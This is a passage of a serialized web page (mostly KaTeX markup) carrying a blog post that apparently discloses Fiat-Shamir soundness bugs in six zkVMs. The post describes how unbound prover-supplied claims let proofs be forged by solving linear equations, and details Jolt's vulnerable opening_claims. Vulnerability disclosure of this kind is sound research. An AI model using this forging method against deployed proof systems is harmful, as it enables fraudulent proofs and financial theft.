tyle":25578},[1835,4042,25577],[118169],{"type":31,"value":4046},{"type":25,"tag":216,"props":118171,"children":118173},{"className":118172},[2153],[118174],{"type":25,"tag":216,"props":118175,"children":118177},{"className":118176},[298,299],[118178,118209],{"type":25,"tag":216,"props":118179,"children":118181},{"className":118180},[304],[118182,118204],{"type":25,"tag":216,"props":118183,"children":118186},{"className":118184,"style":118185},[309],"height:0.162em;",[118187],{"type":25,"tag":216,"props":118188,"children":118189},{"style":25601},[118190,118194],{"type":25,"tag":216,"props":118191,"children":118193},{"className":118192,"style":2175},[319],[],{"type":25,"tag":216,"props":118195,"children":118197},{"className":118196},[2180,2181,2182,2183],[118198],{"type":25,"tag":216,"props":118199,"children":118202},{"className":118200,"style":118201},[246,2145,2183],"margin-right:0.05724em;",[118203],{"type":31,"value":12603},{"type":25,"tag":216,"props":118205,"children":118207},{"className":118206},[408],[118208],{"type":31,"value":411},{"type":25,"tag":216,"props":118210,"children":118212},{"className":118211},[304],[118213],{"type":25,"tag":216,"props":118214,"children":118217},{"className":118215,"style":118216},[309],"height:0.4358em;",[118218],{"type":25,"tag":216,"props":118219,"children":118220},{},[],{"type":25,"tag":216,"props":118222,"children":118224},{"className":118223,"style":1865},[257],[],{"type":25,"tag":216,"props":118226,"children":118228},{"className":118227},[246],[118229,118233,118386],{"type":25,"tag":216,"props":118230,"children":118232},{"className":118231},[287,288],[],{"type":25,"tag":216,"props":118234,"children":118236},{"className":118235},[293],[118237],{"type":25,"tag":216,"props":118238,"children":118240},{"className":118239},[298,299],[118241,118374],{"type":25,"tag":216,"props":118242,"children":118244},{"className":118243},[304],[118245,118369],{"type":25,"tag":216,"props":118246,"children":118248},{"className":118247,"style":117518},[309],[118249,118338,118349],{"type":25,"tag":216,"props":118250,"children":118251},{"style":5053},[118252,118256],{"type":25,"tag":216,"props":118253,"children":118255},{"className":118254,"style":320},[319],[],{"type":25,"tag":216,"props":118257,"children":118259},{"className":118258},[2180,2181,2182,2183],[118260],{"type":25,"tag":216,"props":118261,"children":118263},{"className":118262},[246,2183],[118264,118269,118274],{"type":25,"tag":216,"props":118265,"children":118267},{"className":118266,"style":117538},[246,2145,2183],[118268],{"type":31,"value":117541},{"type":25,"tag":216,"props":118270,"children":118272},{"className":118271},[340,2183],[118273],{"type":31,"value":3372},{"type":25,"tag":216,"props":118275,"children":118277},{"className":118276},[246,2183],[118278,118287],{"type":25,"tag":216,"props":118279,"children":118281},{"className":118280},[246,31,2183],[118282],{"type":25,"tag":216,"props":118283,"children":118285},{"className":118284},[246,2183],[118286],{"type":31,"value":65970},{"type":25,"tag":216,"props":118288,"children":118290},{"className":118289},[2153],[118291],{"type":25,"tag":216,"props":118292,"children":118294},{"className":118293},[298,299],[118295,118326],{"type":25,"tag":216,"props":118296,"children":118298},{"className":118297},[304],[118299,118321],{"type":25,"tag":216,"props":118300,"children":118303},{"className":118301,"style":118302},[309],"height:0.3281em;",[118304],{"type":25,"tag":216,"props":118305,"children":118307},{"style":118306},"top:-2.357em;margin-right:0.0714em;",[118308,118312],{"type":25,"tag":216,"props":118309,"children":118311},{"className":118310,"style":5100},[319],[],{"type":25,"tag":216,"props":118313,"children":118315},{"className":118314},[2180,5105,5106,2183],[118316],{"type":25,"tag":216,"props":118317,"children":118319},{"className":118318,"style":118201},[246,2145,2183],[118320],{"type":31,"value":12603},{"type":25,"tag":216,"props":118322,"children":118324},{"className":118323},[408],[118325],{"type":31,"value":411},{"type":25,"tag":216,"props":118327,"children":118329},{"className":118328},[304],[118330],{"type":25,"tag":216,"props":118331,"children":118334},{"className":118332,"style":118333},[309],"height:0.2819em;",[118335],{"type":25,"tag":216,"props":118336,"children":118337},{},[],{"type":25,"tag":216,"props":118339,"children":118340},{"style":360},[118341,118345],{"type":25,"tag":216,"props":118342,"children":118344},{"className":118343,"style":320},[319],[],{"type":25,"tag":216,"props":118346,"children":118348},{"className":118347,"style":370},[369],[],{"type":25,"tag":216,"props":118350,"children":118351},{"style":117565},[118352,118356],{"type":25,"tag":216,"props":118353,"children":118355},{"className":118354,"style":320},[319],[],{"type":25,"tag":216,"props":118357,"children":118359},{"className":118358},[2180,2181,2182,2183],[118360],{"type":25,"tag":216,"props":118361,"children":118363},{"className":118362},[246,2183],[118364],{"type":25,"tag":216,"props":118365,"children":118367},{"className":118366},[246,2183],[118368],{"type":31,"value":184},{"type":25,"tag":216,"props":118370,"children":118372},{"className":118371},[408],[118373],{"type":31,"value":411},{"type":25,"tag":216,"props":118375,"children":118377},{"className":118376},[304],[118378],{"type":25,"tag":216,"props":118379,"children":118382},{"className":118380,"style":118381},[309],"height:0.5423em;",[118383],{"type":25,"tag":216,"props":118384,"children":118385},{},[],{"type":25,"tag":216,"props":118387,"children":118389},{"className":118388},[427,288],[],{"type":25,"tag":216,"props":118391,"children":118393},{"className":118392,"style":335},[257],[],{"type":25,"tag":216,"props":118395,"children":118397},{"className":118396},[340],[118398],{"type":31,"value":3372},{"type":25,"tag":216,"props":118400,"children":118402},{"className":118401,"style":335},[257],[],{"type":25,"tag":216,"props":118404,"children":118406},{"className":118405},[235],[118407,118412,118470,118474],{"type":25,"tag":216,"props":118408,"children":118411},{"className":118409,"style":118410},[240],"height:1.296em;vertical-align:-0.4509em;",[],{"type":25,"tag":216,"props":118413,"children":118415},{"className":118414},[1835],[118416,118421],{"type":25,"tag":216,"props":118417,"children":118419},{"className":118418,"style":25578},[1835,4042,25577],[118420],{"type":31,"value":4046},{"type":25,"tag":216,"props":118422,"children":118424},{"className":118423},[2153],[118425],{"type":25,"tag":216,"props":118426,"children":118428},{"className":118427},[298,299],[118429,118458],{"type":25,"tag":216,"props":118430,"children":118432},{"className":118431},[304],[118433,118453],{"type":25,"tag":216,"props":118434,"children":118436},{"className":118435,"style":117650},[309],[118437],{"type":25,"tag":216,"props":118438,"children":118439},{"style":25601},[118440,118444],{"type":25,"tag":216,"props":118441,"children":118443},{"className":118442,"style":2175},[319],[],{"type":25,"tag":216,"props":118445,"children":118447},{"className":118446},[2180,2181,2182,2183],[118448],{"type":25,"tag":216,"props":118449,"children":118451},{"className":118450,"style":98431},[246,2145,2183],[118452],{"type":31,"value":92649},{"type":25,"tag":216,"props":118454,"children":118456},{"className":118455},[408],[118457],{"type":31,"value":411},{"type":25,"tag":216,"props":118459,"children":118461},{"className":118460},[304],[118462],{"type":25,"tag":216,"props":118463,"children":118466},{"className":118464,"style":118465},[309],"height:0.2997em;",[118467],{"type":25,"tag":216,"props":118468,"children":118469},{},[],{"type":25,"tag":216,"props":118471,"children":118473},{"className":118472,"style":1865},[257],[],{"type":25,"tag":216,"props":118475,"children":118477},{"className":118476},[246],[118478,118482,118635],{"type":25,"tag":216,"props":118479,"children":118481},{"className":118480},[287,288],[],{"type":25,"tag":216,"props":118483,"children":118485},{"className":118484},[293],[118486],{"type":25,"tag":216,"props":118487,"children":118489},{"className":118488},[298,299],[118490,118623],{"type":25,"tag":216,"props":118491,"children":118493},{"className":118492},[304],[118494,118618],{"type":25,"tag":216,"props":118495,"children":118497},{"className":118496,"style":117518},[309],[118498,118587,118598],{"type":25,"tag":216,"props":118499,"children":118500},{"style":5053},[118501,118505],{"type":25,"tag":216,"props":118502,"children":118504},{"className":118503,"style":320},[319],[],{"type":25,"tag":216,"props":118506,"children":118508},{"className":118507},[2180,2181,2182,2183],[118509],{"type":25,"tag":216,"props":118510,"children":118512},{"className":118511},[246,2183],[118513,118518,118523],{"type":25,"tag":216,"props":118514,"children":118516},{"className":118515,"style":117538},[246,2145,2183],[118517],{"type":31,"value":117541},{"type":25,"tag":216,"props":118519,"children":118521},{"className":118520},[340,2183],[118522],{"type":31,"value":3372},{"type":25,"tag":216,"props":118524,"children":118526},{"className":118525},[246,2183],[118527,118537],{"type":25,"tag":216,"props":118528,"children":118530},{"className":118529},[246,31,2183],[118531],{"type":25,"tag":216,"props":118532,"children":118534},{"className":118533},[246,2183],[118535],{"type":31,"value":118536},"consume",{"type":25,"tag":216,"props":118538,"children":118540},{"className":118539},[2153],[118541],{"type":25,"tag":216,"props":118542,"children":118544},{"className":118543},[298,299],[118545,118575],{"type":25,"tag":216,"props":118546,"children":118548},{"className":118547},[304],[118549,118570],{"type":25,"tag":216,"props":118550,"children":118552},{"className":118551,"style":5091},[309],[118553],{"type":25,"tag":216,"props":118554,"children":118556},{"style":118555},"top:-2.3488em;margin-right:0.0714em;",[118557,118561],{"type":25,"tag":216,"props":118558,"children":118560},{"className":118559,"style":5100},[319],[],{"type":25,"tag":216,"props":118562,"children":118564},{"className":118563},[2180,5105,5106,2183],[118565],{"type":25,"tag":216,"props":118566,"children":118568},{"className":118567,"style":98431},[246,2145,2183],[118569],{"type":31,"value":92649},{"type":25,"tag":216,"props":118571,"children":118573},{"className":118572},[408],[118574],{"type":31,"value":411},{"type":25,"tag":216,"props":118576,"children":118578},{"className":118577},[304],[118579],{"type":25,"tag":216,"props":118580,"children":118583},{"className":118581,"style":118582},[309],"height:0.1512em;",[118584],{"type":25,"tag":216,"props":118585,"children":118586},{},[],{"type":25,"tag":216,"props":118588,"children":118589},{"style":360},[118590,118594],{"type":25,"tag":216,"props":118591,"children":118593},{"className":118592,"style":320},[319],[],{"type":25,"tag":216,"props":118595,"children":118597},{"className":118596,"style":370},[369],[],{"type":25,"tag":216,"props":118599,"children":118600},{"style":117565},[118601,118605],{"type":25,"tag":216,"props":118602,"children":118604},{"className":118603,"style":320},[319],[],{"type":25,"tag":216,"props":118606,"children":118608},{"className":118607},[2180,2181,2182,2183],[118609],{"type":25,"tag":216,"props":118610,"children":118612},{"className":118611},[246,2183],[118613],{"type":25,"tag":216,"props":118614,"children":118616},{"className":118615},[246,2183],[118617],{"type":31,"value":184},{"type":25,"tag":216,"props":118619,"children":118621},{"className":118620},[408],[118622],{"type":31,"value":411},{"type":25,"tag":216,"props":118624,"children":118626},{"className":118625},[304],[118627],{"type":25,"tag":216,"props":118628,"children":118631},{"className":118629,"style":118630},[309],"height:0.4509em;",[118632],{"type":25,"tag":216,"props":118633,"children":118634},{},[],{"type":25,"tag":216,"props":118636,"children":118638},{"className":118637},[427,288],[],{"type":25,"tag":38,"props":118640,"children":118641},{},[118642,118644,118826],{"type":31,"value":118643},"The global check: ",{"type":25,"tag":82,"props":118645,"children":118647},{"className":118646},[212,4696],[118648],{"type":25,"tag":216,"props":118649,"children":118651},{"className":118650},[224],[118652],{"type":25,"tag":216,"props":118653,"children":118655},{"className":118654,"ariaHidden":230},[229],[118656,118813],{"type":25,"tag":216,"props":118657,"children":118659},{"className":118658},[235],[118660,118664,118721,118725,118734,118739,118800,118804,118809],{"type":25,"tag":216,"props":118661,"children":118663},{"className":118662,"style":96954},[240],[],{"type":25,"tag":216,"props":118665,"children":118667},{"className":118666},[1835],[118668,118673],{"type":25,"tag":216,"props":118669,"children":118671},{"className":118670,"style":25578},[1835,4042,25577],[118672],{"type":31,"value":4046},{"type":25,"tag":216,"props":118674,"children":118676},{"className":118675},[2153],[118677],{"type":25,"tag":216,"props":118678,"children":118680},{"className":118679},[298,299],[118681,118710],{"type":25,"tag":216,"props":118682,"children":118684},{"className":118683},[304],[118685,118705],{"type":25,"tag":216,"props":118686,"children":118688},{"className":118687,"style":118185},[309],[118689],{"type":25,"tag":216,"props":118690,"children":118691},{"style":25601},[118692,118696],{"type":25,"tag":216,"props":118693,"children":118695},{"className":118694,"style":2175},[319],[],{"type":25,"tag":216,"props":118697,"children":118699},{"className":118698},[2180,2181,2182,2183],[118700],{"type":25,"tag":216,"props":118701,"children":118703},{"className":118702},[246,2145,2183],[118704],{"type":31,"value":2283},{"type":25,"tag":216,"props":118706,"children":118708},{"className":118707},[408],[118709],{"type":31,"value":411},{"type":25,"tag":216,"props":118711,"children":118713},{"className":118712},[304],[118714],{"type":25,"tag":216,"props":118715,"children":118717},{"className":118716,"style":118465},[309],[118718],{"type":25,"tag":216,"props":118719,"children":118720},{},[],{"type":25,"tag":216,"props":118722,"children":118724},{"className":118723,"style":1865},[257],[],{"type":25,"tag":216,"props":118726,"children":118728},{"className":118727},[246,31],[118729],{"type":25,"tag":216,"props":118730,"children":118732},{"className":118731},[246],[118733],{"type":31,"value":118071},{"type":25,"tag":216,"props":118735,"children":118737},{"className":118736,"style":2746},[246],[118738],{"type":31,"value":7025},{"type":25,"tag":216,"props":118740,"children":118742},{"className":118741},[246],[118743,118752],{"type":25,"tag":216,"props":118744,"children":118746},{"className":118745},[246,31],[118747],{"type":25,"tag":216,"props":118748,"children":118750},{"className":118749},[246],[118751],{"type":31,"value":80598},{"type":25,"tag":216,"props":118753,"children":118755},{"className":118754},[2153],[118756],{"type":25,"tag":216,"props":118757,"children":118759},{"className":118758},[298,299],[118760,118789],{"type":25,"tag":216,"props":118761,"children":118763},{"className":118762},[304],[118764,118784],{"type":25,"tag":216,"props":118765,"children":118767},{"className":118766,"style":2264},[309],[118768],{"type":25,"tag":216,"props":118769,"children":118770},{"style":118108},[118771,118775],{"type":25,"tag":216,"props":118772,"children":118774},{"className":118773,"style":2175},[319],[],{"type":25,"tag":216,"props":118776,"children":118778},{"className":118777},[2180,2181,2182,2183],[118779],{"type":25,"tag":216,"props":118780,"children":118782},{"className":118781},[246,2145,2183],[118783],{"type":31,"value":2283},{"type":25,"tag":216,"props":118785,"children":118787},{"className":118786},[408],[118788],{"type":31,"value":411},{"type":25,"tag":216,"props":118790,"children":118792},{"className":118791},[304],[118793],{"type":25,"tag":216,"props":118794,"children":118796},{"className":118795,"style":2203},[309],[118797],{"type":25,"tag":216,"props":118798,"children":118799},{},[],{"type":25,"tag":216,"props":118801,"children":118803},{"className":118802,"style":258},[257],[],{"type":25,"tag":216,"props":118805,"children":118807},{"className":118806},[263],[118808],{"type":31,"value":266},{"type":25,"tag":216,"props":118810,"children":118812},{"className":118811,"style":258},[257],[],{"type":25,"tag":216,"props":118814,"children":118816},{"className":118815},[235],[118817,118821],{"type":25,"tag":216,"props":118818,"children":118820},{"className":118819,"style":5287},[240],[],{"type":25,"tag":216,"props":118822,"children":118824},{"className":118823},[246],[118825],{"type":31,"value":1876},{"type":31,"value":179},{"type":25,"tag":38,"props":118828,"children":118829},{},[118830,118835,118837,118843],{"type":25,"tag":9267,"props":118831,"children":118832},{},[118833],{"type":31,"value":118834},"Why this is vulnerable:",{"type":31,"value":118836}," The ",{"type":25,"tag":82,"props":118838,"children":118840},{"className":118839},[],[118841],{"type":31,"value":118842},"claimed_sum",{"type":31,"value":118844}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":25,"tag":22747,"props":118846,"children":118847},{},[],{"type":25,"tag":26,"props":118849,"children":118851},{"id":118850},"the-universal-attack-pattern",[118852],{"type":31,"value":118853},"The Universal Attack Pattern",{"type":25,"tag":38,"props":118855,"children":118856},{},[118857],{"type":31,"value":118858},"Now we can describe the attack pattern that works on all six systems:",{"type":25,"tag":38,"props":118860,"children":118861},{},[118862],{"type":25,"tag":6461,"props":118863,"children":118866},{"alt":118864,"src":118865},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":25,"tag":38,"props":118868,"children":118869},{},[118870,118872,118897],{"type":31,"value":118871},"When a value ",{"type":25,"tag":82,"props":118873,"children":118875},{"className":118874},[212,4696],[118876],{"type":25,"tag":216,"props":118877,"children":118879},{"className":118878},[224],[118880],{"type":25,"tag":216,"props":118881,"children":118883},{"className":118882,"ariaHidden":230},[229],[118884],{"type":25,"tag":216,"props":118885,"children":118887},{"className":118886},[235],[118888,118892],{"type":25,"tag":216,"props":118889,"children":118891},{"className":118890,"style":4793},[240],[],{"type":25,"tag":216,"props":118893,"children":118895},{"className":118894,"style":112197},[246,2145],[118896],{"type":31,"value":112521},{"type":31,"value":118898}," isn't transcript-bound:",{"type":25,"tag":6705,"props":118900,"children":118901},{},[118902,118933,119010,119154],{"type":25,"tag":2037,"props":118903,"children":118904},{},[118905,118907,118932],{"type":31,"value":118906},"Challenges are fixed (independent of ",{"type":25,"tag":82,"props":118908,"children":118910},{"className":118909},[212,4696],[118911],{"type":25,"tag":216,"props":118912,"children":118914},{"className":118913},[224],[118915],{"type":25,"tag":216,"props":118916,"children":118918},{"className":118917,"ariaHidden":230},[229],[118919],{"type":25,"tag":216,"props":118920,"children":118922},{"className":118921},[235],[118923,118927],{"type":25,"tag":216,"props":118924,"children":118926},{"className":118925,"style":4793},[240],[],{"type":25,"tag":216,"props":118928,"children":118930},{"className":118929,"style":112197},[246,2145],[118931],{"type":31,"value":112521},{"type":31,"value":1882},{"type":25,"tag":2037,"props":118934,"children":118935},{},[118936,118938],{"type":31,"value":118937},"The verification equation has form: ",{"type":25,"tag":82,"props":118939,"children":118941},{"className":118940},[212,4696],[118942],{"type":25,"tag":216,"props":118943,"children":118945},{"className":118944},[224],[118946],{"type":25,"tag":216,"props":118947,"children":118949},{"className":118948,"ariaHidden":230},[229],[118950,118991],{"type":25,"tag":216,"props":118951,"children":118953},{"className":118952},[235],[118954,118958,118963,118968,118973,118978,118982,118987],{"type":25,"tag":216,"props":118955,"children":118957},{"className":118956,"style":5507},[240],[],{"type":25,"tag":216,"props":118959,"children":118961},{"className":118960,"style":99353},[246,2145],[118962],{"type":31,"value":37041},{"type":25,"tag":216,"props":118964,"children":118966},{"className":118965},[287],[118967],{"type":31,"value":1844},{"type":25,"tag":216,"props":118969,"children":118971},{"className":118970,"style":112197},[246,2145],[118972],{"type":31,"value":112521},{"type":25,"tag":216,"props":118974,"children":118976},{"className":118975},[427],[118977],{"type":31,"value":1882},{"type":25,"tag":216,"props":118979,"children":118981},{"className":118980,"style":258},[257],[],{"type":25,"tag":216,"props":118983,"children":118985},{"className":118984},[263],[118986],{"type":31,"value":266},{"type":25,"tag":216,"props":118988,"children":118990},{"className":118989,"style":258},[257],[],{"type":25,"tag":216,"props":118992,"children":118994},{"className":118993},[235],[118995,119000],{"type":25,"tag":216,"props":118996,"children":118999},{"className":118997,"style":118998},[240],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":119001,"children":119003},{"className":119002},[246,31],[119004],{"type":25,"tag":216,"props":119005,"children":119007},{"className":119006},[246],[119008],{"type":31,"value":119009},"target",{"type":25,"tag":2037,"props":119011,"children":119012},{},[119013,119014,119039,119041],{"type":31,"value":11425},{"type":25,"tag":82,"props":119015,"children":119017},{"className":119016},[212,4696],[119018],{"type":25,"tag":216,"props":119019,"children":119021},{"className":119020},[224],[119022],{"type":25,"tag":216,"props":119023,"children":119025},{"className":119024,"ariaHidden":230},[229],[119026],{"type":25,"tag":216,"props":119027,"children":119029},{"className":119028},[235],[119030,119034],{"type":25,"tag":216,"props":119031,"children":119033},{"className":119032,"style":1513},[240],[],{"type":25,"tag":216,"props":119035,"children":119037},{"className":119036,"style":99353},[246,2145],[119038],{"type":31,"value":37041},{"type":31,"value":119040}," is linear: ",{"type":25,"tag":82,"props":119042,"children":119044},{"className":119043},[212,4696],[119045],{"type":25,"tag":216,"props":119046,"children":119048},{"className":119047},[224],[119049],{"type":25,"tag":216,"props":119050,"children":119052},{"className":119051,"ariaHidden":230},[229],[119053,119082,119109,119137],{"type":25,"tag":216,"props":119054,"children":119056},{"className":119055},[235],[119057,119062,119069,119073,119078],{"type":25,"tag":216,"props":119058,"children":119061},{"className":119059,"style":119060},[240],"height:0.4445em;",[],{"type":25,"tag":216,"props":119063,"children":119066},{"className":119064,"style":119065},[246,2145],"margin-right:0.0037em;",[119067],{"type":31,"value":119068},"α",{"type":25,"tag":216,"props":119070,"children":119072},{"className":119071,"style":335},[257],[],{"type":25,"tag":216,"props":119074,"children":119076},{"className":119075},[340],[119077],{"type":31,"value":343},{"type":25,"tag":216,"props":119079,"children":119081},{"className":119080,"style":335},[257],[],{"type":25,"tag":216,"props":119083,"children":119085},{"className":119084},[235],[119086,119091,119096,119100,119105],{"type":25,"tag":216,"props":119087,"children":119090},{"className":119088,"style":119089},[240],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":119092,"children":119094},{"className":119093,"style":112197},[246,2145],[119095],{"type":31,"value":112521},{"type":25,"tag":216,"props":119097,"children":119099},{"className":119098,"style":335},[257],[],{"type":25,"tag":216,"props":119101,"children":119103},{"className":119102},[340],[119104],{"type":31,"value":3533},{"type":25,"tag":216,"props":119106,"children":119108},{"className":119107,"style":335},[257],[],{"type":25,"tag":216,"props":119110,"children":119112},{"className":119111},[235],[119113,119117,119124,119128,119133],{"type":25,"tag":216,"props":119114,"children":119116},{"className":119115,"style":1513},[240],[],{"type":25,"tag":216,"props":119118,"children":119121},{"className":119119,"style":119120},[246,2145],"margin-right:0.05278em;",[119122],{"type":31,"value":119123},"β",{"type":25,"tag":216,"props":119125,"children":119127},{"className":119126,"style":258},[257],[],{"type":25,"tag":216,"props":119129,"children":119131},{"className":119130},[263],[119132],{"type":31,"value":266},{"type":25,"tag":216,"props":119134,"children":119136},{"className":119135,"style":258},[257],[],{"type":25,"tag":216,"props":119138,"children":119140},{"className":119139},[235],[119141,119145],{"type":25,"tag":216,"props":119142,"children":119144},{"className":119143,"style":118998},[240],[],{"type":25,"tag":216,"props":119146,"children":119148},{"className":119147},[246,31],[119149],{"type":25,"tag":216,"props":119150,"children":119152},{"className":119151},[246],[119153],{"type":31,"value":119009},{"type":25,"tag":2037,"props":119155,"children":119156},{},[119157,119159],{"type":31,"value":119158},"Solve: ",{"type":25,"tag":82,"props":119160,"children":119162},{"className":119161},[212,4696],[119163],{"type":25,"tag":216,"props":119164,"children":119166},{"className":119165},[224],[119167],{"type":25,"tag":216,"props":119168,"children":119170},{"className":119169,"ariaHidden":230},[229],[119171,119197,119232],{"type":25,"tag":216,"props":119172,"children":119174},{"className":119173},[235],[119175,119179,119184,119188,119193],{"type":25,"tag":216,"props":119176,"children":119178},{"className":119177,"style":4793},[240],[],{"type":25,"tag":216,"props":119180,"children":119182},{"className":119181,"style":112197},[246,2145],[119183],{"type":31,"value":112521},{"type":25,"tag":216,"props":119185,"children":119187},{"className":119186,"style":258},[257],[],{"type":25,"tag":216,"props":119189,"children":119191},{"className":119190},[263],[119192],{"type":31,"value":266},{"type":25,"tag":216,"props":119194,"children":119196},{"className":119195,"style":258},[257],[],{"type":25,"tag":216,"props":119198,"children":119200},{"className":119199},[235],[119201,119205,119210,119219,119223,119228],{"type":25,"tag":216,"props":119202,"children":119204},{"className":119203,"style":5507},[240],[],{"type":25,"tag":216,"props":119206,"children":119208},{"className":119207},[287],[119209],{"type":31,"value":1844},{"type":25,"tag":216,"props":119211,"children":119213},{"className":119212},[246,31],[119214],{"type":25,"tag":216,"props":119215,"children":119217},{"className":119216},[246],[119218],{"type":31,"value":119009},{"type":25,"tag":216,"props":119220,"children":119222},{"className":119221,"style":335},[257],[],{"type":25,"tag":216,"props":119224,"children":119226},{"className":119225},[340],[119227],{"type":31,"value":3372},{"type":25,"tag":216,"props":119229,"children":119231},{"className":119230,"style":335},[257],[],{"type":25,"tag":216,"props":119233,"children":119235},{"className":119234},[235],[119236,119240,119245,119250,119255],{"type":25,"tag":216,"props":119237,"children":119239},{"className":119238,"style":5507},[240],[],{"type":25,"tag":216,"props":119241,"children":119243},{"className":119242,"style":119120},[246,2145],[119244],{"type":31,"value":119123},{"type":25,"tag":216,"props":119246,"children":119248},{"className":119247},[427],[119249],{"type":31,"value":1882},{"type":25,"tag":216,"props":119251,"children":119253},{"className":119252},[246],[119254],{"type":31,"value":5749},{"type":25,"tag":216,"props":119256,"children":119258},{"className":119257,"style":119065},[246,2145],[119259],{"type":31,"value":119068},{"type":25,"tag":38,"props":119261,"children":119262},{},[119263],{"type":31,"value":119264},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":25,"tag":38,"props":119266,"children":119267},{},[119268,119270,119348],{"type":31,"value":119269},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":25,"tag":82,"props":119271,"children":119273},{"className":119272},[212,4696],[119274],{"type":25,"tag":216,"props":119275,"children":119277},{"className":119276},[224],[119278],{"type":25,"tag":216,"props":119279,"children":119281},{"className":119280,"ariaHidden":230},[229],[119282],{"type":25,"tag":216,"props":119283,"children":119285},{"className":119284},[235],[119286,119291,119297,119302,119343],{"type":25,"tag":216,"props":119287,"children":119290},{"className":119288,"style":119289},[240],"height:1.0641em;vertical-align:-0.25em;",[],{"type":25,"tag":216,"props":119292,"children":119294},{"className":119293,"style":2746},[246,2145],[119295],{"type":31,"value":119296},"O",{"type":25,"tag":216,"props":119298,"children":119300},{"className":119299},[287],[119301],{"type":31,"value":1844},{"type":25,"tag":216,"props":119303,"children":119305},{"className":119304},[246],[119306,119311],{"type":25,"tag":216,"props":119307,"children":119309},{"className":119308},[246,2145],[119310],{"type":31,"value":2190},{"type":25,"tag":216,"props":119312,"children":119314},{"className":119313},[2153],[119315],{"type":25,"tag":216,"props":119316,"children":119318},{"className":119317},[298],[119319],{"type":25,"tag":216,"props":119320,"children":119322},{"className":119321},[304],[119323],{"type":25,"tag":216,"props":119324,"children":119326},{"className":119325,"style":7968},[309],[119327],{"type":25,"tag":216,"props":119328,"children":119329},{"style":6098},[119330,119334],{"type":25,"tag":216,"props":119331,"children":119333},{"className":119332,"style":2175},[319],[],{"type":25,"tag":216,"props":119335,"children":119337},{"className":119336},[2180,2181,2182,2183],[119338],{"type":25,"tag":216,"props":119339,"children":119341},{"className":119340},[246,2183],[119342],{"type":31,"value":21247},{"type":25,"tag":216,"props":119344,"children":119346},{"className":119345},[427],[119347],{"type":31,"value":1882},{"type":31,"value":119349}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":25,"tag":22747,"props":119351,"children":119352},{},[],{"type":25,"tag":26,"props":119354,"children":119356},{"id":119355},"the-six-broken-systems",[119357],{"type":31,"value":119358},"The Six Broken Systems",{"type":25,"tag":38,"props":119360,"children":119361},{},[119362],{"type":25,"tag":6461,"props":119363,"children":119366},{"alt":119364,"src":119365},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":25,"tag":38,"props":119368,"children":119369},{},[119370],{"type":31,"value":119371},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":25,"tag":22747,"props":119373,"children":119374},{},[],{"type":25,"tag":607,"props":119376,"children":119378},{"id":119377},"jolt-a16z",[119379],{"type":31,"value":119380},"Jolt (a16z)",{"type":25,"tag":38,"props":119382,"children":119383},{},[119384],{"type":31,"value":119385},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":25,"tag":38,"props":119387,"children":119388},{},[119389],{"type":25,"tag":9267,"props":119390,"children":119391},{},[119392],{"type":31,"value":119393},"The proof structure:",{"type":25,"tag":206,"props":119395,"children":119397},{"code":119396},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[119398],{"type":25,"tag":82,"props":119399,"children":119400},{"__ignoreMap":7},[119401],{"type":31,"value":119396},{"type":25,"tag":38,"props":119403,"children":119404},{},[119405],{"type":25,"tag":9267,"props":119406,"children":119407},{},[119408],{"type":31,"value":119409},"The verification flow:",{"type":25,"tag":38,"props":119411,"children":119412},{},[119413],{"type":25,"tag":6461,"props":119414,"children":119417},{"alt":119415,"src":119416},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":25,"tag":38,"props":119419,"children":119420},{},[119421,119426,119428,119434,119436,119442,119444,119449],{"type":25,"tag":9267,"props":119422,"children":119423},{},[119424],{"type":31,"value":119425},"The bug:",{"type":31,"value":119427}," Each sumcheck instance provides an ",{"type":25,"tag":82,"props":119429,"children":119431},{"className":119430},[],[119432],{"type":31,"value":119433},"input_claim",{"type":31,"value":119435},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":25,"tag":82,"props":119437,"children":119439},{"className":119438},[],[119440],{"type":31,"value":119441},"opening_claims",{"type":31,"value":119443}," in the proof, but they were ",{"type":25,"tag":9267,"props":119445,"children":119446},{},[119447],{"type":31,"value":119448},"never absorbed into the transcript",{"type":31,"value":119450}," before the batching coefficients were derived.",{"type":25,"tag":38,"props":119452,"children":119453},{},[119454],{"type":25,"tag":6461,"props":119455,"children":119458},{"alt":119456,"src":119457},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":25,"tag":38,"props":119460,"children":119461},{},[119462],{"type":25,"tag":9267,"props":119463,"children":119464},{},[119465],{"type":31,"value":119466},"How sumcheck uses opening_claims:",{"type":25,"tag":38,"props":119468,"children":119469},{},[119470,119472,119478,119480,119557],{"type":31,"value":119471},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":25,"tag":82,"props":119473,"children":119475},{"className":119474},[],[119476],{"type":31,"value":119477},"BatchedClaim",{"type":31,"value":119479}," by taking a random linear combination of the individual claims 